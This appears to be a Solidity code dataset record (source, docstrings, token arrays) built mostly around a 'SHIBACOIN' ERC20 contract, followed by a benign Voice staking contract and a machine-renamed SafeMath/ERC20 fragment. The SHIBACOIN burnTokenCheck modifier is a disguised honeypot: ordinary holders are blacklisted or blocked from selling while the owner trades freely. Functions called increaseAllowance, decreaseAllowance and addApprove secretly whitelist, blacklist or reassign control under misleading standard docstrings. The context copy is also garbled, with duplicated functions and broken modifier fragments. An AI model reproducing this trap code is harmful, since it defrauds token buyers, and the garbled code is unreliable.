* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract SHIBACOIN is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 7,768,848 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
6122,
13450,
2226,
6266,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
2
] |
pragma solidity >=0.5.4 <0.6.0;
import './SafeMath.sol';
import './AOLibrary.sol';
import './TheAO.sol';
/**
* @title Voice
*/
contract Voice is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 constant public MAX_SUPPLY_PER_NAME = 100 * (10 ** 4);
uint256 public totalSupply;
// Mapping from Name ID to bool value whether or not it has received Voice
mapping (address => bool) public hasReceived;
// Mapping from Name/TAO ID to its total available balance
mapping (address => uint256) public balanceOf;
// Mapping from Name ID to TAO ID and its staked amount
mapping (address => mapping(address => uint256)) public taoStakedBalance;
// This generates a public event on the blockchain that will notify clients
event Mint(address indexed nameId, uint256 value);
event Stake(address indexed nameId, address indexed taoId, uint256 value);
event Unstake(address indexed nameId, address indexed taoId, uint256 value);
/**
* Constructor function
*/
constructor (string memory _name, string memory _symbol) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/***** PUBLIC METHODS *****/
/**
* @dev Create `MAX_SUPPLY_PER_NAME` Voice and send it to `_nameId`
* @param _nameId Address to receive Voice
* @return true on success
*/
function mint(address _nameId) public inWhitelist isName(_nameId) returns (bool) {
// Make sure _nameId has not received Voice
require (hasReceived[_nameId] == false);
hasReceived[_nameId] = true;
balanceOf[_nameId] = balanceOf[_nameId].add(MAX_SUPPLY_PER_NAME);
totalSupply = totalSupply.add(MAX_SUPPLY_PER_NAME);
emit Mint(_nameId, MAX_SUPPLY_PER_NAME);
return true;
}
/**
* @dev Get staked balance of `_nameId`
* @param _nameId The Name ID to be queried
* @return total staked balance
*/
function stakedBalance(address _nameId) public isName(_nameId) view returns (uint256) {
return MAX_SUPPLY_PER_NAME.sub(balanceOf[_nameId]);
}
/**
* @dev Stake `_value` Voice on `_taoId` from `_nameId`
* @param _nameId The Name ID that wants to stake
* @param _taoId The TAO ID to stake
* @param _value The amount to stake
* @return true on success
*/
function stake(address _nameId, address _taoId, uint256 _value) public inWhitelist isName(_nameId) isTAO(_taoId) returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (balanceOf[_nameId] >= _value); // Check if the targeted balance is enough
balanceOf[_nameId] = balanceOf[_nameId].sub(_value); // Subtract from the targeted balance
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].add(_value); // Add to the targeted staked balance
balanceOf[_taoId] = balanceOf[_taoId].add(_value);
emit Stake(_nameId, _taoId, _value);
return true;
}
/**
* @dev Unstake `_value` Voice from `_nameId`'s `_taoId`
* @param _nameId The Name ID that wants to unstake
* @param _taoId The TAO ID to unstake
* @param _value The amount to unstake
* @return true on success
*/
function unstake(address _nameId, address _taoId, uint256 _value) public inWhitelist isName(_nameId) isTAO(_taoId) returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (taoStakedBalance[_nameId][_taoId] >= _value); // Check if the targeted staked balance is enough
require (balanceOf[_taoId] >= _value); // Check if the total targeted staked balance is enough
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].sub(_value); // Subtract from the targeted staked balance
balanceOf[_taoId] = balanceOf[_taoId].sub(_value);
balanceOf[_nameId] = balanceOf[_nameId].add(_value); // Add to the targeted balance
emit Unstake(_nameId, _taoId, _value);
return true;
}
}
| Check if the targeted staked balance is enough
| require (taoStakedBalance[_nameId][_taoId] >= _value); | 1,013,952 | [
1,
1564,
309,
326,
20715,
384,
9477,
11013,
353,
7304,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
202,
6528,
261,
2351,
83,
510,
9477,
13937,
63,
67,
529,
548,
6362,
67,
2351,
83,
548,
65,
1545,
389,
1132,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.12;
interface IERC20 {
function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB877(a, b, "SafeMath: subtraction overflow");
}
function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV156(a, b, "SafeMath: division by zero");
}
function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD860(a, b, "SafeMath: modulo by zero");
}
function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
